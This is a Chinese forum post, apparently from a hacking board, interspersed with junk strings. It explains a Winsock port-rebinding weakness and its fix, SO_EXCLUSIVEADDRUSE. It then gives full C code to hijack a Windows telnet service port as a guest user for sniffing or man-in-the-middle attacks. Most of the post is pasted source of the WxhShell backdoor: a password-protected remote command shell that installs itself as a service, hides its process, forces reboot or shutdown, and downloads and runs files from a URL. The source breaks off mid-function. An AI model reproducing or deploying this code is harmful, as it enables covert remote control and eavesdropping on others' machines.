-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8Ja't8 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "qb1jv#to 1y/_D$~ZO saddr.sin_family = AF_INET; 3`V#ImV> F(?A7 saddr.sin_addr.s_addr = htonl(INADDR_ANY); d(LX;sq? vjfV??XSU bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6gUcoDD &y164xn'h 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .i^aYbB$X 6xLLIby, 这意味着什么?意味着可以进行如下的攻击: '"#W!p qXI>x6?* 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 JqX+vRY;dd RtE2%d$JT 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =D 1%-ym Z?IwR 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 GqYE=Q (]wd8M 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 _z`g@[m:t *)+K+J 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8OYw72& =3~u.iq$ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :cx}I az5 $. 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 b+Ly%& }ioHSkCD #include 0vu$dxb[ #include znNJ? #include *G]zN "Y #include I2U/\ DWORD WINAPI ClientThread(LPVOID lpParam); "JHdF& int main() rD7L==Ld { STfcx]L WORD wVersionRequested; _{d0Nm DWORD ret; v5aHe_?lp WSADATA wsaData; x*p>l ! BOOL val; x)+3SdH SOCKADDR_IN saddr; GIo7-
6kvm SOCKADDR_IN scaddr; 6*!R' int err; p5 !B SOCKET s; 4P1<Zi+< SOCKET sc; epWTZV(1x int caddsize; Bu:h_sV D HANDLE mt; W7k0!Grrl DWORD tid; #&L[?jEn wVersionRequested = MAKEWORD( 2, 2 ); x EX"pd err = WSAStartup( wVersionRequested, &wsaData ); :P!"'&gCL if ( err != 0 ) { 7U:-zfq printf("error!WSAStartup failed!\n"); >= G{.H return -1; Zx%ib8|j } $i:wS=
w' saddr.sin_family = AF_INET; >4c7r~\k d[cqs9=\ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 G4VdJ(_ :n@j"-HA saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5x([fG saddr.sin_port = htons(23); st|;]q9? if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nUgZ]ag=G { 9>@@W#TK~ printf("error!socket failed!\n"); ZmJ!ZKKch return -1; @|N'V"*MT } #u<^ val = TRUE; Z= 'DV1A$, //SO_REUSEADDR选项就是可以实现端口重绑定的 "ggViIOw& if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2HxT+|~d6 { `|{6U"n printf("error!setsockopt failed!\n"); {giKC)! return -1; zc}qAy'< } \.@fAgv //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^oL43#Nlo //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 , Ww\C //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 VE
<p,IO FEd We\E if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) m!Iax]D{ { AK7IPftlH ret=GetLastError(); H(MCY3t printf("error!bind failed!\n"); Lc0U-!{G return -1; [<2#C#P:6 } hkK+BmMj\ listen(s,2); 7wO0d/l_ while(1) 2+Y8b:: { M;14s*g caddsize = sizeof(scaddr); *{ =5AW}o //接受连接请求 2jMV6S9 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $p(,Qz(.8 if(sc!=INVALID_SOCKET) FuA8vTV{ { NXJyRAJ*% mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); G>3]A5 if(mt==NULL) -G!W6$Y { @[:JQ'R= printf("Thread Creat Failed!\n"); u{H'evv0O break; 5|4=uoA< } stb)Tl^ } ,b&-o?.{ CloseHandle(mt);
1#G( } 1l8kuwH closesocket(s); dG}.T_l WSACleanup(); |GDf<\ return 0; [(hB%x_" } Oq7R^t`b DWORD WINAPI ClientThread(LPVOID lpParam) GaD]qeS-K { `u. /2]n SOCKET ss = (SOCKET)lpParam; j K!Y- SOCKET sc; 9PU9BYBG unsigned char buf[4096]; [RZ}9`V SOCKADDR_IN saddr; ?8j#gYx2 long num; zW,Nv>Ac5 DWORD val; nE~HcxE/ DWORD ret; 500qg({2] //如果是隐藏端口应用的话,可以在此处加一些判断 T:/68b*H\: //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 8Wa&&YTB saddr.sin_family = AF_INET; _cWz9 ; saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); mt0ZD}E saddr.sin_port = htons(23); :X?bWxOJ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #Cwzk{p( { <`'^rCWI? printf("error!socket failed!\n"); AK#`&)0i return -1; <@Lw ' } (>E}{{>2r val = 100; L>,j*a_[ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @YH<Hc { CL~21aslI ret = GetLastError(); \:ELO[(#|{ return -1; 'CrBxaA]s } &$'=SL(Z if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qkM<t?uS { k Xs&k8 ret = GetLastError(); _n[4+S*v( return -1; v,\2$q/ } 3\=iB&Gf| if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) c]pO'6] { +npcU:(Kg printf("error!socket connect failed!\n"); _l i\b- closesocket(sc); %(EUZu2 closesocket(ss); ,u^RZ[} return -1; vPVA^UPNV } QO'=O}e while(1) |bHId!d { F(-1m A&- //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?q68{!{bi //如果是嗅探内容的话,可以再此处进行内容分析和记录 6Y#V;/gK!5 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \Oku<5 num = recv(ss,buf,4096,0); ]^>#?yEA3 if(num>0) 33R_JM{ send(sc,buf,num,0); ""j(wUp-W else if(num==0) F$Cf\#{3 break; !kPZuU`T num = recv(sc,buf,4096,0); N+<`Er if(num>0) 64#6L.Q-c send(ss,buf,num,0); n*4N%yI^m5 else if(num==0) W|go*+`W% break; GM5s~, } Ly0U')D: closesocket(ss); A.mIqu,: closesocket(sc); \Ty%E< return 0 ; bt$+l[U^J } \X'{ e e a"!D @a ]Z@+
|&@L ========================================================== 7R$]BY= O_PKS$sz{ 下边附上一个代码,,WXhSHELL 2Z ?
N dMA"% R ========================================================== VTDp9s 5UFR^\e #include "stdafx.h" BjT0mk"P OV l,o #include <stdio.h> >3S^9{d #include <string.h> QU&b5!;& #include <windows.h> _;A?w8z #include <winsock2.h> YWfw%p?n" #include <winsvc.h> y=L9E? #include <urlmon.h> H:~41f[ 8Nr,Wq #pragma comment (lib, "Ws2_32.lib") y6[^I'kz #pragma comment (lib, "urlmon.lib") JsOu
*9R ^,Sl^ 9K #define MAX_USER 100 // 最大客户端连接数 Q(
WE.ux)< #define BUF_SOCK 200 // sock buffer K%Sy~6iD& #define KEY_BUFF 255 // 输入 buffer =Vgj=19X( ,{@,dw`lUz #define REBOOT 0 // 重启 !wws9 #define SHUTDOWN 1 // 关机 Q%xvS,oI $/sQatic #define DEF_PORT 5000 // 监听端口 Q k`yK|(0= QfI)+pf #define REG_LEN 16 // 注册表键长度 \#bk$R@ #define SVC_LEN 80 // NT服务名长度 6 u3$ .Q [qHLo>HaL // 从dll定义API mkfU
fG& typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y)x(+# typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6J|Ee1Ez typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #j_<iy typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0G(T'Z1 );LkEXC_' // wxhshell配置信息 1U"Fk3 struct WSCFG { @K 8sNPK int ws_port; // 监听端口 @wWro?s'p char ws_passstr[REG_LEN]; // 口令 zc<C %t[~y int ws_autoins; // 安装标记, 1=yes 0=no xh7#\m_U8 char ws_regname[REG_LEN]; // 注册表键名 [!@&t:A char ws_svcname[REG_LEN]; // 服务名 zc QFIP char ws_svcdisp[SVC_LEN]; // 服务显示名 NqsIMCl char ws_svcdesc[SVC_LEN]; // 服务描述信息 T)IH4UO char ws_passmsg[SVC_LEN]; // 密码输入提示信息 JRMe(,u int ws_downexe; // 下载执行标记, 1=yes 0=no B}=
WxG|) char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" "z
`&xB char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9zj^\-FA_l C+B`A9 }; p;S<WJv k C~4$A/&( // default Wxhshell configuration 0Ywqv)gg struct WSCFG wscfg={DEF_PORT, !6t
()] "xuhuanlingzhe", /f!CX|U 1, K-$gTV "Wxhshell", l\=M'D "Wxhshell", \9T;-] "WxhShell Service", OzFA>FK0f; "Wrsky Windows CmdShell Service", 0Hz*L,Bh4 "Please Input Your Password: ", yqpb_h9 1, \W<r`t4v " http://www.wrsky.com/wxhshell.exe", JrF\7*rh9 "Wxhshell.exe" PvzB, 2": }; <y+8\m
S[o_$@| // 消息定义模块 q?x.P2 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *QzoBpO< char *msg_ws_prompt="\n\r? for help\n\r#>"; i,=CnZCh char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; b|i94y( char *msg_ws_ext="\n\rExit."; zOR char *msg_ws_end="\n\rQuit."; QdM&M^ char *msg_ws_boot="\n\rReboot..."; pN+lC[C char *msg_ws_poff="\n\rShutdown..."; ^-3R+U- S char *msg_ws_down="\n\rSave to "; 90%alG1>y )v!>U<eprD char *msg_ws_err="\n\rErr!"; +jcg[|-'/ char *msg_ws_ok="\n\rOK!"; ,+0>p 8$fiq}a char ExeFile[MAX_PATH]; d#@N2 int nUser = 0; LT sG
HANDLE handles[MAX_USER]; '1{#I/P; int OsIsNt; dP(*IOO. K!q:A+] SERVICE_STATUS serviceStatus; 1mw<$'pm0 SERVICE_STATUS_HANDLE hServiceStatusHandle; ~=5 vc'' ~F`t[p // 函数声明 Re <G#*^ int Install(void); M[ea!an int Uninstall(void); Ku{DdiTg> int DownloadFile(char *sURL, SOCKET wsh); L]o
5=K int Boot(int flag); ?XVJ$nzW void HideProc(void); utq*<,^ int GetOsVer(void); C LhD[/Fo int Wxhshell(SOCKET wsl); z5CZ!"&v void TalkWithClient(void *cs); :^mfTj$ int CmdShell(SOCKET sock); NGHzifaE int StartFromService(void); (,<ti): int StartWxhshell(LPSTR lpCmdLine); Z:|2PQ4 (ilU<Ht VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F`9;s@V* VOID WINAPI NTServiceHandler( DWORD fdwControl ); @P: W{\){fr6O // 数据结构和表定义 cGw* edgp6 SERVICE_TABLE_ENTRY DispatchTable[] = v%|()Z0 { [@@Ovv {wscfg.ws_svcname, NTServiceMain}, *yGOmi {NULL, NULL} >r7{e:~q }; n237%LH[ CErkmod{}e // 自我安装 J7R+|GTcx int Install(void) :F:<{]oG_ { RltG/ZI char svExeFile[MAX_PATH]; 'J^E|1P HKEY key; C[$uf strcpy(svExeFile,ExeFile); )1H$5h N{@kgc // 如果是win9x系统,修改注册表设为自启动 ^Bihm] Aq if(!OsIsNt) { `F:PWG` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8S1%;@c RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %gB 0\C RegCloseKey(key); |[x) %5F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W! FmC$Kc RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }Y(yDg;" RegCloseKey(key); iYj+NL return 0; B$b'bw. } `,
?T;JRc } !*wK4UcX" } b'Gn)1NE else { 6KmF 9 kW&{0xkGR // 如果是NT以上系统,安装为系统服务 |5SYKA7CS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); RaFk/mSw if (schSCManager!=0) rm*Jo|eH` { G0Wzx)3] SC_HANDLE schService = CreateService N1ZHaZ ( Fkas*79 schSCManager, |y@TI wscfg.ws_svcname, I(E1ym wscfg.ws_svcdisp, 2 @g'3M SERVICE_ALL_ACCESS, Ue|]M36 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]@bo; . SERVICE_AUTO_START, Au'[|Prr SERVICE_ERROR_NORMAL, Sk@~} svExeFile, $l}MB7 NULL, %p?u
^ rq NULL, vs|>U-Mpw~ NULL, @RKw1$BA NULL, Dqu1!f NULL e!}R1 ); <{.o+~k if (schService!=0) 3`4g*wO { z;UkK CloseServiceHandle(schService); %k#Q)zWJ CloseServiceHandle(schSCManager); }pKHa'/\ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DJlY~}v#_ strcat(svExeFile,wscfg.ws_svcname); %&9tn0B
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
v4sc RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @*W,Jm3Y RegCloseKey(key); : g/H N9 return 0; +<Ot@ luE } mPGF Y } @"T_W(i;BI CloseServiceHandle(schSCManager); {{M?+]p,^ } H@er" boi } Y[x9c0 ['m@RJm+ return 1; J?$4Yf } _T^ip.o R,01.N( U // 自我卸载 6sl*Ko[ int Uninstall(void) Vin d\yvM { G8"L#[~ HKEY key; |{HtY pU)wxv[~ if(!OsIsNt) { ]>K%,}PS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rWF~aec RegDeleteValue(key,wscfg.ws_regname); '.oEyZA;o RegCloseKey(key); "2(4?P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y+ P\5G RegDeleteValue(key,wscfg.ws_regname); iUqL / RegCloseKey(key); >:5/V0;, return 0; AEm?g$a } ;5-Sn(G } S'vi +_ } nn$,|/ else { -8Z%5W` ^r73(8{) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vWI9ocl`W if (schSCManager!=0) 3+"z { 3.B|uN SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RH^8 "%\ if (schService!=0) mKynp { +](^gaDw<L if(DeleteService(schService)!=0) { yWu80C8q CloseServiceHandle(schService); ,6,#Lc CloseServiceHandle(schSCManager); 25h.u>6@{ return 0; X:+;d8rCy } E
N%cjvE CloseServiceHandle(schService);
Aki8# } {[o=df/ CloseServiceHandle(schSCManager); xlkEW&N& } R1/)Yy } <9YRSE[Ed 3t[2Bd return 1; f&B&!&gZ } VWd=7 r8+{HknB; // 从指定url下载文件 ~j",ePl int DownloadFile(char *sURL, SOCKET wsh) LnvC{#TFO { s$J0^8Q~i HRESULT hr; L~SM#?z:ue char seps[]= "/"; HS]|s': char *token; "zR+} char *file; 95>(NwST4 char myURL[MAX_PATH]; (F~i char myFILE[MAX_PATH]; +mE y7qM OT{wqNI strcpy(myURL,sURL); ;OTD1= token=strtok(myURL,seps); HE.
` while(token!=NULL) +j&4[;8P: { CHv~H.kh' file=token; _!H{\kU token=strtok(NULL,seps); =yOIP@ } =9 FY;9 [F%INl-sy GetCurrentDirectory(MAX_PATH,myFILE); n
!]_o strcat(myFILE, "\\"); X*1vIs;[@ strcat(myFILE, file); G%-[vk#] send(wsh,myFILE,strlen(myFILE),0); Af1mTbf= send(wsh,"...",3,0); i[@*b/A hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {e0cc1Up} if(hr==S_OK) 6;9SU+/ return 0; Xa\{WM==; else HlgF%\@a+U return 1; 4 StiYfae 0RN]_z$;H } z%(m:/N70 1XUsr;Wz // 系统电源模块 `] ;*k2 int Boot(int flag) N^xnx< { ])egke\! HANDLE hToken; o X )r4H? TOKEN_PRIVILEGES tkp; ?@6N EfQf QNJ )HNLp if(OsIsNt) { _CDUUr OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]6Kx0mW LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +rfw)c' tkp.PrivilegeCount = 1; a,x-akZWf tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y|Tb&XPD AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :w:hqe|_ if(flag==REBOOT) { w4<1*u@${ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j8WnXp_ return 0; \I1+J9Gl } (eS4$$g else { v1<3y~'f if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z\D!'FX return 0; LJ`*&J } R}>xpU1 } h7f&7v else { b=horvs/! if(flag==REBOOT) { ^.aFns{wv if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C,Q>OkSc return 0; lt`(R*B% } _Je<_pl!D else { BSYJ2 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /]=Ih return 0; aFGEHZJQ } s'qd%JxD } 4*< x0 Y^Y|\0 return 1; #mLF6"A } u6Fm
qK]Dj Pky/fF7e // win9x进程隐藏模块 RTHD2 void HideProc(void) A^nB!veh { SB0Cq X|fl_4NC> HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K?o( zh; if ( hKernel != NULL ) ZpvURp,I { WcqQR))n pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^0py ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N}Q%y(O^ FreeLibrary(hKernel); 0Am&:kX't } w$8Su:g= m1H_kJ return; b6Pi:!4 } wO9|_.Z{ W{:^P0l // 获取操作系统版本 /I}#0} int GetOsVer(void) Q$_y +[ { Evu`e=LaG OSVERSIONINFO winfo; ,|6O}E&
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); FFX-kS GetVersionEx(&winfo); k%Dpy2uH if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nb
dm@ return 1; +A%|.; else + 2v6fan return 0; p)v|t/7 } pW$ZcnU Ey96XJV // 客户端句柄模块 V,:^@ 7d int Wxhshell(SOCKET wsl) ~A^E_ { Yw @)0%G SOCKET wsh; qg1s]c~0u struct sockaddr_in client; 9'+Eu)l: DWORD myID; "g27|e?y zGgPW while(nUser<MAX_USER) -!i1xR(;h { HR'sMu3 int nSize=sizeof(client); @
=g
Px wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U[7 &
if(wsh==INVALID_SOCKET) return 1; Sv3O${B| w3l2u1u handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y0s=yN_ if(handles[nUser]==0) HXV4E\JA closesocket(wsh); :Ywb else 9#(Nd, m}) nUser++; *{WhUHZF } SFqY*:svOw WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8R|!$P @cYb37)q= return 0; W
D 8 } j=|cx+nb p1tqwV // 关闭 socket IE*eDj void CloseIt(SOCKET wsh) xs#g { >,%or cN closesocket(wsh); 4^uQB(}Z nUser--; c_"=G#^9@i ExitThread(0); {BV0Y.O } bmCp:6 m8[XA!, // 客户端请求句柄 xf2|9Tqt void TalkWithClient(void *cs) 7m.#No>^ { yuP1*QJ% 1N\/61+aA SOCKET wsh=(SOCKET)cs; rfo7\'yk char pwd[SVC_LEN]; m&S *S_c char cmd[KEY_BUFF]; suKr//_ char chr[1]; EKu%I~eM int i,j; [G!#y lV%oIf[OB while (nUser < MAX_USER) { 'Fq+\J#% w?#s)z4}g if(wscfg.ws_passstr) { Cb}I-GtO if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;f?suawMv //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZLIt3 //ZeroMemory(pwd,KEY_BUFF); c'|](vOd] i=0; 5aZbNV}- while(i<SVC_LEN) { i,V,0{$ =D~>$Y // 设置超时 <n1panS fd_set FdRead; `\-<tk9 struct timeval TimeOut; 7l(GBr FD_ZERO(&FdRead); jw5ldC>U FD_SET(wsh,&FdRead); 'G>$W+lT^ TimeOut.tv_sec=8; i0}f@pCB?X TimeOut.tv_usec=0; E.N@qMn~ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X+2uM+ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gwGw &9Kni/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;_X2E~i[ pwd =chr[0]; sHqa(ynK if(chr[0]==0xd || chr[0]==0xa) { G!T_X*^q2U pwd=0; ,>p1:pga break; aS! If > } !i>d04u`% i++; ]\Z8MxFD } Lv&9s ;mT // 如果是非法用户,关闭 socket +)xjw9b if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *fCmZ$U:{ } q0C%">>1# d/Sw.=vq send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @WCA7DW! send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }]i.z:7+ FG!2h&k while(1) { nEt{ltsS0 ;Zm-B]\ ZeroMemory(cmd,KEY_BUFF); ^UCH+Cyl G^|!'V // 自动支持客户端 telnet标准 vf5q8/a j=0; baoyU#X9 while(j<KEY_BUFF) { +)hxYLk&I if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uf^HDrr<L cmd[j]=chr[0]; "&:H }Jd if(chr[0]==0xa || chr[0]==0xd) { xx@[ecW cmd[j]=0; i!{A7mo break; s(T0lul } !,|-{": j++; eo*l^7 } 72CHyl`|l mBeP"G S // 下载文件 t"s$YB>} if(strstr(cmd,"http://")) { 9:E: 3%% send(wsh,msg_ws_down,strlen(msg_ws_down),0); xtBu]I)% if(DownloadFile(cmd,wsh)) ?W>`skQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); /\{emE\] else ?9;CC]D send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $cWt^B' } ck< `kJ`b else { ~t<G gNI !bCSt?}@u switch(cmd[0]) { j{j5TvsrY G?v!Uv8O // 帮助 .07"I7 case '?': { Aydpr_lp send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5sANF9o! break; %:s+5*SKe } *_Vv(H& // 安装 C*}PL case 'i': { W#+f2 RR if(Install()) -2[#1S* send(wsh,msg_ws_err,strlen(msg_ws_err),0); eEBo:Rc9 else ~N%+ZXh&E send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r+d+gO. break; g>@a } bg!(B<!X // 卸载 x6)qs- case 'r': { H:|.e)$i if(Uninstall()) k`;d_eW send(wsh,msg_ws_err,strlen(msg_ws_err),0); '?jsH+j+ else tI@aRF=p]2 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XzPOqZ`Nv break; F$-f j "jC } ^Ze(WE) // 显示 wxhshell 所在路径 &~Y%0&F,& case 'p': { qm"SN<2S* char svExeFile[MAX_PATH]; ;mYZ@g%e strcpy(svExeFile,"\n\r"); ^J&D)&"j strcat(svExeFile,ExeFile); 8_E(.]U send(wsh,svExeFile,strlen(svExeFile),0); twu,yC! break; XG*> yra` } qyxd9Lk1 // 重启 Gy[anDE& case 'b': { Oi'y0S~g send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R7"7
Rx
if(Boot(REBOOT)) Ab]tLz|Z send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2i0;b|-= else { !u'xdV+bf closesocket(wsh); "F}dZ ExitThread(0); z#Fel/L`O } q 'd] break; ]ag{sU@#
} Q5}XD // 关机 s1E 0atT case 'd': { tfe]=_U send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0%Le*C'yk if(Boot(SHUTDOWN)) c~4Cpy^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZY8w1:'
else { tkH]_cH'w closesocket(wsh); g^Hf^%3xP ExitThread(0); qTK(sW } %W8iC%~ break; o">~ObR } Ge/K.]>i // 获取shell D+v?zQw case 's': { 8R%<~fq r CmdShell(wsh); SswcO9JCX3 closesocket(wsh); &TY74w* ExitThread(0); *RxJ8.G break; 1a/C(4_k } 2Mk;r*FT // 退出 2F>Y{3& case 'x': { [|ZFei)r send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yuy\T(7BN CloseIt(wsh); \I:27:iAL break; P
JATRJ1. } _7\`xU // 离开 Y<|JhqOXK case 'q': { cE:s\hG send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ufl\
uq3'H closesocket(wsh); {ZrlbDQX WSACleanup(); I5q$QQK exit(1); >I0;MNX break; %VFoK-a } .Sn{a}XP4 } u4IK7[= } $K!Jm7O\ -yB}(69 // 提示信息 xhbN=L if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '5Yzo^R; } f*<Vq:N=\ } F{;#\Ob (BPO*' return; ~CT]&({ } >G8I X^*sG &:5*^1oP // shell模块句柄 >t)Pcf|s int CmdShell(SOCKET sock) C 2nmSXV { {j9TzR STARTUPINFO si; sWo}Xq# ZeroMemory(&si,sizeof(si)); <#ON si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;YR/7 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Gn=b_! PROCESS_INFORMATION ProcessInfo; 4P[MkMoC char cmdline[]="cmd"; kBhjqI* CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u {_, S3Aa return 0; gy%.+!4>v` } Fy"M 4;7 Et!J*{s // 自身启动模式 &n;*'M
int StartFromService(void) {QM rgyQE { EP#2it]0] typedef struct 2=- .@,6 { jhm/<= DWORD ExitStatus; wv\K DWORD PebBaseAddress; 3!b
$R?kZ DWORD AffinityMask; $/s"It DWORD BasePriority; 2L1y4nnbwo ULONG UniqueProcessId; CyR`&u ULONG InheritedFromUniqueProcessId; 6w7; } PROCESS_BASIC_INFORMATION; Nna.N U1 kW)3naUf< PROCNTQSIP NtQueryInformationProcess; u0Wt"d-= <HoCt8>U static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zI4rAsysL static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y
